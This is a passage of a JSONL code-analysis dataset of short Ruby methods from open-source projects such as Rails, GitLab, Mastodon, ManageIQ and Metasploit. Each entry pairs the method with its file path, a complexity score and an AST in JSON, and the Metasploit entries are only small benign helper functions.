end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_new_investigation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"sorted_tokens\"]},\"each_cons\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token1\"]},{\"type\":\"arg\",\"children\":[\"token2\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token2\"]},\"comment?\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"same_line?\",{\"type\":\"lvar\",\"children\":[\"token1\"]},{\"type\":\"lvar\",\"children\":[\"token2\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token1\"]},\"pos\"]},\"end\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token2\"]},\"pos\"]},\"begin\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token2\"]},\"pos\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"range\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"insert_before\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}]}","id":"fb5bc800-17b4-4efc-b1ae-ba61adf77a90"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ms_dtyp.rb","start_line":300,"raw_source":"def self.random_generate\n      # Taken from the \"D\" format as specified in\n      # https://learn.microsoft.com/en-us/dotnet/api/system.guid.tostring?view=net-7.0\n      \"{#{Rex::Text.rand_text_hex(8)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(12)}}\".downcase\n    end","complexity_score":8.75,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"random_generate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_hex\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_hex\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_hex\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_hex\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_hex\",{\"type\":\"int\",\"children\":[12]}]}]},{\"type\":\"str\",\"children\":[\"}\"]}]},\"downcase\"]}]}","id":"ab4f08c6-aeae-45a6-81e2-9c2bbbe24e05"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ext_management_system.rb","start_line":391,"raw_source":"def self.raw_connect(*_args)\n    raise NotImplementedError, _(\"must be implemented in a subclass\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"raw_connect\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"_args\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"must be implemented in a subclass\"]}]}]}]}","id":"c8fdf169-88e2-4723-9e56-3a2384f16e72"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb","start_line":76,"raw_source":"def base\n    base = target_uri.path\n    base << '/' if base[-1, 1] != '/'\n    return base\n  end","complexity_score":7.85,"ast_json":"{\"type\":\"def\",\"children\":[\"base\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"<<\",{\"type\":\"str\",\"children\":[\"/\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]}]}]}","id":"a10b8646-6492-492e-867f-b8dcf4d82503"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/tasks/database_tasks_test.rb","start_line":1687,"raw_source":"def test_check_schema_file\n      assert_called_with(Kernel, :abort, [/awesome-file.sql/]) do\n        ActiveRecord::Tasks::DatabaseTasks.check_schema_file(\"awesome-file.sql\")\n      end\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_check_schema_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called_with\",{\"type\":\"const\",\"children\":[null,\"Kernel\"]},{\"type\":\"sym\",\"children\":[\"abort\"]},{\"type\":\"array\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"awesome-file.sql\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"check_schema_file\",{\"type\":\"str\",\"children\":[\"awesome-file.sql\"]}]}]}]}","id":"7782a3b2-8c26-40be-b4a9-f35e8b4e719c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20241009000002_add_workspace_delayed_termination_constraints.rb","start_line":22,"raw_source":"def up\n    add_check_constraint TABLE_NAME,\n      \"(max_active_hours_before_stop + max_stopped_hours_before_termination) <= 8760\", constraint_1_name\n    add_check_constraint TABLE_NAME, \"max_active_hours_before_stop > 0\", constraint_2_name\n    add_check_constraint TABLE_NAME, \"max_stopped_hours_before_termination > 0\", constraint_3_name\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_check_constraint\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"str\",\"children\":[\"(max_active_hours_before_stop + max_stopped_hours_before_termination) <= 8760\"]},{\"type\":\"send\",\"children\":[null,\"constraint_1_name\"]}]},{\"type\":\"send\",\"children\":[null,\"add_check_constraint\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"str\",\"children\":[\"max_active_hours_before_stop > 0\"]},{\"type\":\"send\",\"children\":[null,\"constraint_2_name\"]}]},{\"type\":\"send\",\"children\":[null,\"add_check_constraint\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"str\",\"children\":[\"max_stopped_hours_before_termination > 0\"]},{\"type\":\"send\",\"children\":[null,\"constraint_3_name\"]}]}]}]}","id":"625a0966-5477-4d68-b539-aa533644c88b"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/workers/meetings/pdf/default/page_head.rb","start_line":54,"raw_source":"def meeting_subtitle\n    [\n      \"#{meeting_mode} (#{I18n.t(\"label_meeting_state_#{meeting.state}\")}),\",\n      \"#{format_date(meeting.start_time)},\",\n      format_time(meeting.start_time, include_date: false),\n      \"–\",\n      format_time(meeting.end_time, include_date: false)\n    ].join(\" \")\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"meeting_subtitle\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meeting_mode\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"label_meeting_state_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meeting\"]},\"state\"]}]}]}]}]},{\"type\":\"str\",\"children\":[\"),\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_date\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meeting\"]},\"start_time\"]}]}]},{\"type\":\"str\",\"children\":[\",\"]}]},{\"type\":\"send\",\"children\":[null,\"format_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meeting\"]},\"start_time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_date\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"str\",\"children\":[\"–\"]},{\"type\":\"send\",\"children\":[null,\"format_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meeting\"]},\"end_time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_date\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}","id":"25ac78dd-9919-495e-9c22-a944f8931046"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/export.rb","start_line":62,"raw_source":"def generate\n      send(:\"generate_#{format}\")\n      handle_attachment\n      send_export_done_email\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"generate_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_attachment\"]},{\"type\":\"send\",\"children\":[null,\"send_export_done_email\"]}]}]}","id":"7e2ef12c-5716-4a86-9c5b-b5c9d92de642"}
{"repo_name":"liquid","file_path":"./repos/liquid/performance/memory_profile.rb","start_line":12,"raw_source":"def self.run\n    puts\n    yield new\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]}]}]}]}","id":"dccfc5bb-bad0-43d2-86f9-97dee6933320"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/status_edit_serializer.rb","start_line":25,"raw_source":"def quote\n    object.quote_id == object.status.quote&.id ? object.status.quote : Quote.new(state: :pending)\n  end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"quote\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"quote_id\"]},\"==\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"status\"]},\"quote\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"status\"]},\"quote\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Quote\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"sym\",\"children\":[\"pending\"]}]}]}]}]}]}","id":"d9dbab2f-71b8-4a45-87c4-ed5dbd42bae4"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/resolve_account_service.rb","start_line":62,"raw_source":"def process_options!(uri, options)\n    @options = { suppress_errors: true }.merge(options)\n\n    if uri.is_a?(Account)\n      @account  = uri\n      @username = @account.username\n      @domain   = @account.domain\n    else\n      @username, @domain = uri.strip.gsub(/\\A@/, '').split('@')\n    end\n\n    @domain = if TagManager.instance.local_domain?(@domain)\n                nil\n              else\n                TagManager.instance.normalize_domain(@domain)\n              end\n\n    @uri = [@username, @domain].compact.join('@')\n  end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process_options!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suppress_errors\"]},{\"type\":\"true\",\"children\":[]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Account\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@account\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@username\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"username\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@domain\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"domain\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@username\"]},{\"type\":\"ivasgn\",\"children\":[\"@domain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"strip\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A@\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"@\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@domain\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagManager\"]},\"instance\"]},\"local_domain?\",{\"type\":\"ivar\",\"children\":[\"@domain\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagManager\"]},\"instance\"]},\"normalize_domain\",{\"type\":\"ivar\",\"children\":[\"@domain\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@username\"]},{\"type\":\"ivar\",\"children\":[\"@domain\"]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\"@\"]}]}]}]}]}","id":"16cc19d1-9c89-4738-954e-e317c6715119"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/packages/cleanup_package_file_worker.rb","start_line":61,"raw_source":"def log_metadata(package_file)\n      log_extra_metadata_on_done(:package_file_id, package_file.id)\n      log_extra_metadata_on_done(:package_id, package_file.package_id)\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"log_metadata\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_extra_metadata_on_done\",{\"type\":\"sym\",\"children\":[\"package_file_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_file\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"log_extra_metadata_on_done\",{\"type\":\"sym\",\"children\":[\"package_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_file\"]},\"package_id\"]}]}]}]}","id":"306a35be-3130-4067-9a16-74223ed305d4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/test/retry_exhausted_test.rb","start_line":72,"raw_source":"def new_worker\n    @new_worker ||= NewJob.new\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"new_worker\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@new_worker\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NewJob\"]},\"new\"]}]}]}","id":"8c9fa186-d7e6-4562-b18c-a41bd33b0eeb"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/evals/lib/prompts/single_test_runner.rb","start_line":17,"raw_source":"def run_single_test(prompt, message, followups, output_thinking, stream, temperature, tools)\n    @c_prompt =\n      DiscourseAi::Completions::Prompt.new(prompt, messages: [{ type: :user, content: message }])\n    @c_prompt.tools = tools if tools\n    generate_result(temperature, output_thinking, stream)\n\n    if followups\n      followups.each do |followup|\n        generate_followup(followup, output_thinking, stream, temperature)\n      end\n    end\n\n    { prompt:, message:, result: @result }\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run_single_test\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prompt\"]},{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"followups\"]},{\"type\":\"arg\",\"children\":[\"output_thinking\"]},{\"type\":\"arg\",\"children\":[\"stream\"]},{\"type\":\"arg\",\"children\":[\"temperature\"]},{\"type\":\"arg\",\"children\":[\"tools\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@c_prompt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Completions\"]},\"Prompt\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"prompt\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"messages\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tools\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@c_prompt\"]},\"tools=\",{\"type\":\"lvar\",\"children\":[\"tools\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"generate_result\",{\"type\":\"lvar\",\"children\":[\"temperature\"]},{\"type\":\"lvar\",\"children\":[\"output_thinking\"]},{\"type\":\"lvar\",\"children\":[\"stream\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"followups\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"followups\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"followup\"]}]},{\"type\":\"send\",\"children\":[null,\"generate_followup\",{\"type\":\"lvar\",\"children\":[\"followup\"]},{\"type\":\"lvar\",\"children\":[\"output_thinking\"]},{\"type\":\"lvar\",\"children\":[\"stream\"]},{\"type\":\"lvar\",\"children\":[\"temperature\"]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prompt\"]},{\"type\":\"lvar\",\"children\":[\"prompt\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"ivar\",\"children\":[\"@result\"]}]}]}]}]}","id":"0dbe811e-1102-40ca-be5a-3fc8db39a73f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/iis_auth_bypass.rb","start_line":46,"raw_source":"def has_auth\n    uri = normalize_uri(target_uri.path)\n    uri << '/' if uri[-1, 1] != '/'\n\n    res = send_request_cgi({\n      'uri' => uri,\n      'method' => 'GET'\n    })\n    vprint_status(res.body) if res\n\n    return (res and res.code == 401)\n  end","complexity_score":18.38,"ast_json":"{\"type\":\"def\",\"children\":[\"has_auth\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"<<\",{\"type\":\"str\",\"children\":[\"/\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[401]}]}]}]}]}]}]}","id":"57cbf969-997d-4642-b783-b83c6b2b3afd"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration_test.rb","start_line":1239,"raw_source":"def setup\n      @connection = Person.lease_connection\n      @connection.create_table(:delete_me, force: true) { |t| }\n      Person.reset_column_information\n      Person.reset_sequence_name\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@connection\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"lease_connection\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"create_table\",{\"type\":\"sym\",\"children\":[\"delete_me\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"reset_column_information\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"reset_sequence_name\"]}]}]}","id":"d0e98b9a-68d7-4da3-b875-5d2d5b98c07e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/api_guard.rb","start_line":152,"raw_source":"def user_allowed_or_deploy_token?(user)\n        Gitlab::UserAccess.new(user).allowed? || user.is_a?(DeployToken)\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"user_allowed_or_deploy_token?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UserAccess\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"allowed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"DeployToken\"]}]}]}]}","id":"5d2b9aa0-d455-4193-a602-d2513d1bb0f4"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/customization_template.rb","start_line":17,"raw_source":"def self.seed_file_name\n    @seed_file_name ||= Rails.root.join(\"db\", \"fixtures\", \"#{table_name}.yml\")\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"seed_file_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@seed_file_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"db\"]},{\"type\":\"str\",\"children\":[\"fixtures\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".yml\"]}]}]}]}]}","id":"b2a4d4a8-7bb5-420d-9764-219873fca637"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/filter_record_transformer.rb","start_line":249,"raw_source":"def initialize(params)\n        @log = params[:log]\n        @auto_typecast = params[:auto_typecast]\n        @cleanroom_expander = CleanroomExpander.new\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@log\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"log\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@auto_typecast\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"auto_typecast\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@cleanroom_expander\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CleanroomExpander\"]},\"new\"]}]}]}]}","id":"22a6fa73-b620-4ad3-95e3-ce31323f35cb"}
